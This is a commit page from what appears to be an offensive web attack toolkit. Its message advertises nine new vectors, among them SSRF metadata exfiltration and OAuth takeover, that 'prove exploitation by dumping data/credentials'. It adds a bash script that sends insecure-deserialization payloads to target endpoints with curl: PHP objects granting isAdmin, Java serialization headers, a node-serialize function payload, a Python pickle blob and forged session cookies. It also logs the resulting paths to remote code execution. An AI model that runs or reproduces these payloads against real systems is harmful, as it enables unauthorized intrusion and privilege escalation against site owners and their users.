The Analyzer v2.0 — 30 attack vectors, 9 new exploiters
New vectors added: - 22: SSRF Proof — cloud metadata exfiltration (CRITICAL) - 23: Prototype Pollution — Node.js client/server (HIGH) - 24: WebSocket Hijack — WS origin bypass + injection (HIGH) - 25: Mass Assignment — protected field modification (HIGH) - 26: HTTP Parameter Pollution — WAF bypass (HIGH) - 27: Insecure Deserialization — PHP/Java/Node (CRITICAL) - 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL) - 29: Web Cache Poisoning — unkeyed header injection (HIGH) - 30: CRLF Injection — HTTP response splitting (CRITICAL) All vectors PROVE exploitation by dumping data/credentials, not just detecting config issues.
This commit is contained in:
drjones
132
vectors/27-deserialization.sh
Normal file
132
vectors/27-deserialization.sh
Normal file
@@ -0,0 +1,132 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 27: Insecure Deserialization — PHP/Java/Node/ Python
|
||||
# Desc: Detects insecure deserialization via error messages & behavior
|
||||
# Severity: CRITICAL
|
||||
# Proof: Triggers deserialization error revealing app internals
|
||||
|
||||
vector_deserialization() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Hunting Insecure Deserialization..."
|
||||
|
||||
# PHP serialized payloads
|
||||
local php_payloads=(
|
||||
'O:3:"App":0:{}'
|
||||
'O:3:"User":1:{s:7:"isAdmin";b:1;}'
|
||||
'O:3:"Admin":0:{}'
|
||||
'a:1:{i:0;O:3:"RCE":0:{}}'
|
||||
'O:8:"stdClass":0:{}'
|
||||
'N;'
|
||||
'b:1;'
|
||||
'i:1;'
|
||||
's:4:"test";'
|
||||
)
|
||||
|
||||
# Java serialized magic bytes payload
|
||||
local java_payloads=(
|
||||
"rO0ABXc=" # Base64 of Java serialization header
|
||||
"rO0ABQ=="
|
||||
)
|
||||
|
||||
# Node.js/express body parser deserialization
|
||||
local node_payloads=(
|
||||
'{"__proto__":{"admin":true}}'
|
||||
'{"rce":"_$$ND_FUNC$$_function(){return true}()"}'
|
||||
)
|
||||
|
||||
# Python pickle payload (base64)
|
||||
local python_payloads=(
|
||||
"gAN9cQBYEAAAAGFkbWluX3JvbGVfcXVlcnlxAFgHAAAAZW5hYmxlZHEBhXECUnEDLg=="
|
||||
)
|
||||
|
||||
# Deserialization error patterns
|
||||
local error_patterns='unserialize\|O:.*:"\|java.io.InvalidClassException\|java.lang.ClassNotFoundException\|pickle\|unpickle\|PHP Fatal error\|__PHP_Incomplete_Class\|NOTICE: unserialize'
|
||||
|
||||
# Common deserialization endpoints
|
||||
local endpoints=$(get_discovered_urls "$domain" 2>/dev/null | grep -iE 'api|rest|session|cookie|token|auth|login|profile|user' | head -10)
|
||||
[ -z "$endpoints" ] && endpoints="$target"
|
||||
|
||||
# Content types to test
|
||||
local content_types=(
|
||||
"application/x-www-form-urlencoded"
|
||||
"application/json"
|
||||
"application/x-php-serialized"
|
||||
"application/x-java-serialized"
|
||||
"text/xml"
|
||||
)
|
||||
|
||||
for endpoint in $endpoints; do
|
||||
# Test PHP deserialization
|
||||
for payload in "${php_payloads[@]}"; do
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
||||
-X POST -H "Content-Type: application/x-www-form-urlencoded" \
|
||||
-d "data=${payload}" \
|
||||
"$endpoint" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qi "$error_patterns\|__PHP_Incomplete_Class\|O:.*:\""; then
|
||||
print_find "PHP Deserialization Error!" "Server processed unserialized data"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: Insecure Deserialization (PHP)
|
||||
DETAIL: Server deserialized untrusted input, revealing PHP internals
|
||||
URL: $endpoint
|
||||
PAYLOAD: $payload
|
||||
EVIDENCE: $(echo "$response" | grep -i 'unserialize\|PHP\|error' | head -3 | tr '\n' ' ' | cut -c1-200)
|
||||
EXPLOIT: PHP gadget chain → RCE" > "$REPORTS_DIR/.finding_deser_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
break 3
|
||||
fi
|
||||
done
|
||||
|
||||
# Test Java deserialization
|
||||
for payload in "${java_payloads[@]}"; do
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
||||
-X POST -H "Content-Type: application/x-java-serialized" \
|
||||
-d "$payload" \
|
||||
"$endpoint" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qi "java.io\|ClassNotFoundException\|InvalidClassException"; then
|
||||
print_find "Java Deserialization Detected!" "Server processes Java serialized objects"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: Insecure Deserialization (Java)
|
||||
DETAIL: Server accepts Java serialized objects at $endpoint
|
||||
EXPLOIT: ysoserial gadget chain → RCE" > "$REPORTS_DIR/.finding_deser_java_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
done
|
||||
|
||||
# Test Node.js deserialization
|
||||
for payload in "${node_payloads[@]}"; do
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
||||
-X POST -H "Content-Type: application/json" \
|
||||
-d "$payload" \
|
||||
"$endpoint" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qi "_$$ND_FUNC"\|"__proto__\|polluted"; then
|
||||
print_find "Node.js Deserialization Risk!" "Server processed __proto__ payload"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
done
|
||||
|
||||
# Test cookie deserialization
|
||||
local cookie_payload='O:3:"App":1:{s:7:"isAdmin";b:1;}'
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
||||
-b "session=serialized;user_data=$(printf '%s' "$cookie_payload" | base64);auth=O:3:\"User\":0:{}" \
|
||||
"$endpoint" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qi "$error_patterns"; then
|
||||
print_find "Cookie Deserialization!" "Session cookie triggered deserialize error"
|
||||
findings=$((findings + 1))
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_info "No deserialization issues found"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
}
|
||||
Reference in New Issue
Block a user